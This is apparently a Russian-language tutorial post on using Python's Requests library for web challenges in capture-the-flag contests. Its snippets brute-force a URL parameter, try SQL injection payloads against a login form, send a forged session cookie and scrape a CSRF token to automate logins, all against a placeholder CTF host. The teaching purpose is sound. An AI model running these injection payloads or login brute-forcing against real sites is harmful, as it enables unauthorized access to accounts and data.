📡 Библиотека Requests: Суперсила для веб-заданий в CTF
💡 Requests — это «HTTP для людей». С её помощью можно быстро взламывать веб-задачи, не погружаясь в низкоуровневые детали.
🔍 Почему Requests незаменима в CTF?
- 🚀 Проще стандартного urllib в 10 раз
- 🕵️ Автоматическая обработка cookies и сессий
- 📦 Поддержка всех методов HTTP (GET/POST/PUT и т.д.)
- 🔑 Работа с Basic/JWT-аутентификацией
💻 Основные сценарии использования
1. Брутфорс параметров GET-запроса
import requests
for i in range(100):
     response = requests.get(f'http://ctf.com/?id={i}')
     if "flag{" in response.text:
         print(f"Found flag: {response.text}")
         break
2. Эксплуатация SQL-инъекции через POST
payloads = ["' OR 1=1--", "' UNION SELECT flag FROM secrets--"]
with requests.Session() as s:
     for p in payloads:
     data = {"username": "admin", "password": p}
     r = s.post('http://ctf.com/login', data=data)
     if "Welcome admin" in r.text:
         print(f"Success with payload: {p}")
3. Работа с cookies для подделки сессии
cookies = {"session": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."}
r = requests.get('http://ctf.com/admin', cookies=cookies)
print(r.text)
🚀 Продвинутые техники
📌 Советы профессионалов
- Используйте
Session()
для сохранения состояния - Настраивайте таймауты:
requests.get(url, timeout=5)
- Анализируйте заголовки:
r.headers['Server']
- Работайте с JSON:
r.json()
Пример: Обход защиты от брутфорса
import requests
from bs4 import BeautifulSoup
s = requests.Session()
r = s.get('http://ctf.com/login')
soup = BeautifulSoup(r.text, 'html.parser')
csrf_token = soup.find('input', {'name': 'csrf'})['value']
data = {
'csrf': csrf_token,
'username': 'admin',
'password': 'password123'
}
r = s.post('http://ctf.com/login', data=data)
⚠️ Важные предупреждения
- Не используйте слепой брутфорс — это может сломать сервис
- Всегда проверяйте входные данные (избегайте SSRF)
- Используйте
proxies
для отладки через Burp Suite
📝 Задания на закрепление
- Порешайте задачи из раздела Задания, в названии которых есть слово web, многие из эти заданий можно сделать с помощью requests
- Задание на requests
📚 Ресурсы для изучения
- Официальная документация: docs.python-requests.org
- CTF-примеры использования: ctf101.org
- Сборник полезных сниппетов: GitHub Gist